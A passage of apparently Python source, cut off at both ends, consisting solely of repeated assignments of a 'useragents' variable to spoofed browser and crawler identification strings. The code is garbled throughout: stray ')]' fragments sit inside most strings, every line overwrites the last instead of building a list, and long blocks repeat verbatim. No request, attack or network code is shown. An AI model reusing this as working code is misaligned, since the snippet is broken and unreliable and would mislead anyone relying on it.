Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 